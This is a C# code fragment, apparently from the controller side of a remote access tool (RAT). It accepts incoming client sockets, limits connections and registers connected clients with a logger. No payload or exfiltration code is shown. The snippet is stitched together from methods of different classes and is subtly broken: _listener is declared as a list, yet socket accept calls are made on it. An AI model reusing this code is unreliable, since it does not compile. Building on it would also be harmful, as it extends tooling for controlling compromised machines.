private void Form1_Load(object sender, EventArgs e)
{
//Events
ClientDisconnectEvent.ClientDisconnect += new ClientDisconnectHandler(onClientDisconnect);
CheckForIllegalCrossThreadCalls = false;
settings.MainForm = this;
_listener = new List<RatClientListener>();
_FileListener = new List<FileClientListener>();
maxConnections = new MaxConnections();
File_maxConnections = new File_MaxConnections();
ClientPacketProcessor.Initialize();
FileClientPacketProcessor.Initialize();
}
private void OnClientAccept(IAsyncResult ar)
{
try
{
Socket acceptedSocket = _listener.EndAccept(ar);
System.Threading.Thread.Sleep(50); //Small delay so the process will be using 0-1% cpu usage at flood attack
if (File_MaxConnections.AcceptConnection(acceptedSocket.RemoteEndPoint))
{
FileClientProcessor.Instance.ProcessClient(acceptedSocket);
}
else
{
acceptedSocket.Disconnect(false);
acceptedSocket = null;
}
_listener.BeginAccept(OnClientAccept, null);
}
catch { /*An existing connection was forcibly closed by the remote host*/ }
}
public void ProcessClient(Socket client)
{
//System.Threading.Thread.Sleep(50); //Small delay so the process will be using 0-1% cpu usage at flood attack
if (File_MaxConnections.AcceptConnection(client.RemoteEndPoint))
{
int ID = _clientList.Count;
FileClients c = new FileClients(client, NetworkKey);
_clientList.Add(ID, c);
c.DisconnectHandle = OnDisconnect;
c.ClientID = ID;
settings.ClientsConnected++;
Logger.AddLog(new LogInfo("Incoming client", "Accepted"));
}
else
{
client.Disconnect(false);
client = null;
}
}